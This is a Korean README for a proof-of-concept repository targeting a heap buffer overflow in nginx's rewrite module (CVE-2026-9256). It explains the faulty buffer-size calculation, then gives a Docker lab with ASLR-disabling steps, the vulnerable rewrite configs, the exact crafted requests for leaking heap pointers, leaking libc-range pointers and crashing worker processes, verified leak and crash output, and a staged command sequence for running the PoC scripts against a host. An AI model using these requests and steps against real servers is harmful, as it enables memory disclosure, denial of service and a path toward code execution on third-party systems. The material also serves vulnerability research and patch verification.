
nginx의 ngx_http_rewrite_module에서 CVE-2026-9256 힙 버퍼 오버플로를 시연하며, 힙/libc 누출 및 작업자 충돌을 위한 PoC 스크립트를 포함합니다.
nginx Plus 및 nginx 오픈 소스 ngx_http_rewrite_module에 힙 버퍼 오버플로우 취약점이 존재합니다. rewrite 지시문이 중첩된 PCRE 캡처 그룹(예: ^/((.*))$)이 있는 정규식과 여러 캡처를 참조하는 대체 문자열(예: $1&y=$2)을 사용할 때, 정적 경로 버퍼 크기 계산이 필요한 공간을 과소평가하여 실제 쓰기가 할당된 크기(Pool Slip)를 초과하게 됩니다.
인증되지 않은 공격자는 조작된 HTTP 요청을 통해 이를 트리거하여 작업자 프로세스에서 힙 버퍼 오버플로우를 일으킬 수 있습니다. ASLR이 비활성화되거나 우회될 수 있는 경우 코드 실행이 가능합니다.
파일: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// 버그: 이스케이프 오버헤드가 URI 전체에 대해 한 번만 계산됨
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // 원시 길이
}
}
각 $N은 복사 시 독립적으로 이스케이프됩니다(ngx_http_script.c:1397-1401). 중첩된 캡처로 인해 동일한 부분 문자열이 두 번 이스케이프되어 이스케이프 비용이 두 배가 되지만, 할당은 한 번만 고려합니다.
오버플로우 공식 (2중 중첩 ((.+)), URI의 + 문자 Q개):
할당됨 = code_size + 2*Q + 2*(Q+1)
실제 = code_size + 2*(3*Q + 1)
오버플로우 = 2*Q (정밀하게 제어 가능)
트리거 조건 (세 가지 모두 필요):
.
├── env/
│ ├── Dockerfile # nginx:1.31.0 기반
│ ├── docker-compose.yml # 컨테이너 설정 (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR 켜짐 (기본값)
│ ├── entrypoint_aslr_off.sh # ASLR 꺼짐 (libc_leak 용)
│ └── nginx.conf # 취약한 설정
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
cd env/
# 베이스 이미지 가져오기 (~200MB)
docker pull nginx:1.31.0
# 빌드 및 시작
docker compose up --build -d
# 확인
curl -s http://127.0.0.1:19321/
# 예상: ok
# nginx 로그 보기 (충돌 정보)
docker compose logs -f
# 중지 및 제거
docker compose down
# 재시작 (충돌 후)
docker compose restart
현재 상태 확인:
cat /proc/sys/kernel/randomize_va_space
# 0 = 꺼짐, 1 = 부분, 2 = 전체
heap_leak 및 crash_verify는 ASLR에 관계없이 작동합니다. libc_leak은 호스트에서 ASLR을 비활성화해야 합니다:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
또는 nginx 프로세스에 대해서만 ASLR을 비활성화할 수 있습니다 (호스트 권한 불필요):
entrypoint_aslr_off.sh를 entrypoint.sh로 복사한 다음 docker compose up --build -d를 실행합니다.
참고: 컨테이너는 호스트 커널을 공유합니다.
randomize_va_space는 호스트에서 설정해야 합니다.
필요한 설정:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
메커니즘: Pool Slip으로 인해 ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))가 오버플로우 영역에 할당됩니다. 스크립트 엔진의 초기화된 필드(e->ip, e->sp, e->request)가 다시 쓰여진 URI의 쿼리 문자열로 유출되고 return 200 "$arg_y"를 통해 반영됩니다.
요청:
GET /echo/%25%25%25%25%25A HTTP/1.0
검증된 결과 (nginx:1.31.0, ASLR 켜짐):
e->ip = 0x00006544dec82430 (설정 풀 코드 배열)
e->sp = 0x00006544dec5ada0 (요청 풀 스크립트 스택)
e->request = 0x00006544dec58880 (요청 구조체)
유출되는 내용: nginx 작업자 주소 공간 내의 원시 힙 포인터.
PoC: heap_leak.py
필요한 설정:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # 반드시 연결 가능해야 함
add_header X-Leak-Y "$arg_y" always;
}
메커니즘: proxy_pass가 업스트림 초기화를 트리거합니다. 라이브러리 함수 포인터를 포함하는 업스트림 구조체가 오버플로우 영역에 할당됩니다. add_header "$arg_y"가 원시 바이트를 응답 헤더에 씁니다.
요청:
GET /leak2/%25%25...(약 40 x %25)...A HTTP/1.0
검증된 결과 (nginx:1.31.0, ASLR 꺼짐, request_pool_size=7920):
유출된 ptr = 0x00007fbfc3b7c346
유출되는 내용: 0x7f... 범위의 원시 포인터 (libc 로드 영역). libc 베이스를 계산하려면 대상에서 /proc/<pid>/maps를 읽고 leaked_ptr - libc_base를 계산합니다.
ASLR 의존성: 이 단계는 ASLR이 꺼져 있어야 합니다. 유출된 포인터는 해제된 청크 메타데이터(fd/bk → main_arena)에서 비롯됩니다. ASLR이 켜져 있으면 해제된 청크 오프셋이 달라지고 작은 오버플로우로 안정적으로 도달할 수 없습니다.
PoC: libc_leak.py
더 간단한 대안:
redirect모드(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;)를 사용하면Location헤더가 문자 인코딩 문제 없이 원시 오버플로우 바이트를 직접 노출합니다. 단일 요청으로 힙 포인터(Q=10~450)를 유출하거나 충돌(Q >= 500)을 트리거할 수 있으며, proxy_pass나 특별한 pool_size가 필요하지 않습니다.
필요한 설정:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
메커니즘: 9중 중첩은 오버플로우 = 16Q를 생성합니다 (2중 중첩의 2Q와 비교). request_pool_size=7920에서 Q=123은 풀 블록 경계를 벗어나 인접한 malloc 청크 메타데이터를 덮어씁니다. glibc가 손상을 감지하고 작업자를 종료합니다. 마스터가 자동으로 재시작합니다.
요청:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
검증된 결과 (nginx:1.31.0, request_pool_size=7920):
Q=122: 정상 응답 (오버플로우=1952B)
Q=123: 응답 없음, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
5/5회 재현됨.
중첩 vs pool_size: N개 중첩은 오버플로우 = (N-1)*2*Q를 생성합니다. 기본 pool_size=4096에서 9중 중첩만으로도 충돌을 일으키기에 충분합니다. 더 큰 pool_size는 주어진 Q에 대해 더 적은 중첩이 필요합니다.
PoC: crash_verify.py
# 1단계: 힙 포인터 유출
python3 heap_leak.py 127.0.0.1 19321
# 2단계: libc 범위 포인터 유출 (ASLR 꺼짐 필요)
python3 libc_leak.py 127.0.0.1 19321
# 3단계: DoS 충돌
python3 crash_verify.py 127.0.0.1 19321
이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 무단 사용은 금지됩니다.
| 조건 | 세부 사항 |
|---|
명명된 변수 없음, 중복 $N 없음 | 정적 경로 (sc.variables==0 && !sc.dup_capture) |
| 정규식에 중첩된 캡처 그룹 | 예: ((.+))는 $1과 $2가 동일한 내용과 일치하도록 함 |
URI에 + 또는 %XX 존재 | 이스케이프 경로 트리거 (plus_in_uri 또는 quoted_uri) |